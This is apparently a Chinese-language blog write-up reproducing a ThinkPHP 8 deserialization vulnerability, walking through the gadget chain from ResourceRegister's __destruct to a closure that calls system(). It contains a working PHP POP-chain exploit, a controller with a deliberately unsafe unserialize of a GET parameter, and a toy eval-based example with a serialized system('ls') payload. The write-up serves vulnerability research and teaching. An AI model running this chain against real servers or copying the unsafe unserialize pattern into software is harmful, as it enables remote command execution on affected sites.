ThinkPHP8反序列化漏洞复现
编辑前言
偶然间,我阅读了《从xctf决赛 ezthink挖掘tp8的反序列化链 - 先知社区》这篇文章,对漏洞从反序列化到命令执行的全过程有了更深入的了解。由于我对这个框架较为熟悉,并且有过PHP开发的经验,还曾挖掘出过该框架的命令执行漏洞,因此决定尝试复现这一过程。
使用工具
一般来说是phpstorm+phpstudy+xdebug,我直接用命令行起一个服务,注意PHP版本必须为8及以上。
php think run -p 9669
安装
composer create-project topthink/think tp
漏洞复现
构造利用链
public function index()
{
$c = unserialize(base64_decode($_GET['whoami'])); // 参数可控的unserialize函数
var_dump($c);
return 'Welcome to ThinkPHP!';
}
POC
<?php
namespace think\model\concern;
trait Attribute{
private $data=['p2'=>['p2'=>'whoami']];
private $withAttr=['p2'=>['p2'=>'system']];
protected $json=["p2"];
protected $jsonAssoc = true;
}
namespace think;
abstract class Model{
use model\concern\Attribute;
private $exists;
private $force;
private $lazySave;
protected $suffix;
function __construct($obj = '')
{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->table = $obj;
$this->jsonAssoc = true;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{}
namespace think\route;
class Resource {
public function __construct()
{
$this->rule = "1.1";
$this->option = ["var" => ["1" => new \think\model\Pivot()]];
}
}
class ResourceRegister
{
protected $resource;
public function __construct()
{
$this->resource = new Resource();
}
public function __destruct()
{
$this->register();
}
protected function register()
{
$this->resource->parseGroupRule($this->resource->getRule());
}
}
$obj = new ResourceRegister();
echo base64_encode(serialize($obj));
运行生成base64的序列化payload,配合利用链代码传入。
然后的话,这里我们一般全局搜索去找魔术方法,根据那篇文章就找destruct魔术方法。
题外话,用反序列化举个例子:
<?php
highlight_file(__FILE__);
error_reporting(0);
class test{
public $a = 'echo "this is test!!";';
public function displayVar() {
eval($this->a);
}
}
$get = $_GET["benben"];
$b = unserialize($get);
$b->displayVar() ;
?>
//<?php
// class test{
// public $a = "system('ls');";
// }
// echo serialize(new test());
//?>
<!---->
<!--O:4:"test":1:{s:1:"a";s:13:"system('ls');";}-->
<!---->
<!--pop链构造常规思路:从链尾开始追,直到找到可以利用的入口点-->
<!--入口常用方法:__wakeup, __construct, __destruct, __toString-->
<!--链中常用方法:__toString, __get/set, __invoke, __call-->
<!--链尾方法:调用php敏感函数的方法,如file_get_contents, highlightfile, system, exec, eval, assert等-->
全局搜索destruct,找到ResourceRegister.php 中的destruct方法。
点击destruct方法中的register方法,进入此方法。
再点击进入parseGroupRule方法,继续往下走。
根据前文提到,首先通过rule中的.来分割成数组,然后把数组的最后一位弹出
$item[] = $val . '/<' . ($option['var'][$val] ?? $val . '_id') . '>';在这个语句 可以调用tostring魔术方法,看看传参 option是我们可以控制的,我们可以传$this->option= ["var" => ["1" => new 要调用的类()]];再配合传参$rule=1.1,将.后面的1弹出来,作为var的键,访问到这个类。接下来就步入进去。
步入到这里,就会引用tostring,点击步入。
让$hasVisible=false
步入getAttr方法。再继续。
最后走到这,关键点来了,为什么$closure等于system呢,因为$this->withAttr[$name]等于p2, $key => $closure 中等于p2 => system,正好与之前的POC中$withAttr=['p2'=>['p2'=>'system']];相对应。
getJsonValue(string $name, $value)中传入的$name为p2,$value为[p2 => whoami],与之前的POC中$data=['p2'=>['p2'=>'whoami']];相对应。
这段代码$value[$key] = $closure($value[$key], $value);则为$value[$key] = system('whoami', $value);,则执行命令。
以上是基于我对PHP较为了解的情况下进行复现,可能对PHP不熟悉的同学阅读起来较为不友好,可以详细看看上面的文章和ThinkPHP框架文档进行深入学习。
- 7
- 3
-
分享